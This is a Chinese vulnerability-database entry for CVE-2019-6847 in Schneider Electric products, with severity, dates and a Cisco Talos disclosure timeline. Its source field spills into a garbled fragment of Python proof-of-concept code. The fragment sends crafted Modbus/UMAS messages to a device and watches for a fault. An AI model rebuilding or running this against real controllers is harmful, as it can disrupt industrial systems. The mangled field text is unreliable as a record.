多款Schneider Electric产品安全漏洞

多款Schneider Electric产品安全漏洞

• CNNVD编号：CNNVD-201910-395
<!--
• 危害等级： 中危-->
• 危害等级： 中危
  
• CVE编号： CVE-2019-6847
• 漏洞类型： 其他
• 发布时间： 2019-10-08
• 威胁类型： 远程
• 更新时间： 2021-04-20
• 厂        商：
• 漏洞来源： H， len(clientname) + 9) transid = struct.pack(>H， random.randint(1， 255)) msg = {}x00x00{}x00x5ax00x10x3bx0ex00x00{}{}.format(transid， mbapLen， clientnameLen， clientname) s.send(msg) try: uri = http://{}/rest/umas/getcominfo.format(rhost) resp = requests.get(uri， timeout=5) except requests.exceptions.ReadTimeout: print([*] Request timed out. This usually indicates a device fault) except KeyboardInterrupt: print([*] Exiting...) s.close()if __name__ == '__main__': main() Timeline 2019-06-21 - Vendor Disclosure 2019-08-29 - Vendor requested to reject issue 2019-09-03 - Talos provided additional feedback to substantiate vulnerability 2019-09-20 - Vendor acknowledged issue as vulnerability & advised plan for October 2019 disclosure 2019-10-08 - Public Release Credit Discovered by Jared Rittle of Cisco Talos,Discovered by Jared Rittle and Patrick DeSantis of Cisco Talos ');">Discovered by Jare...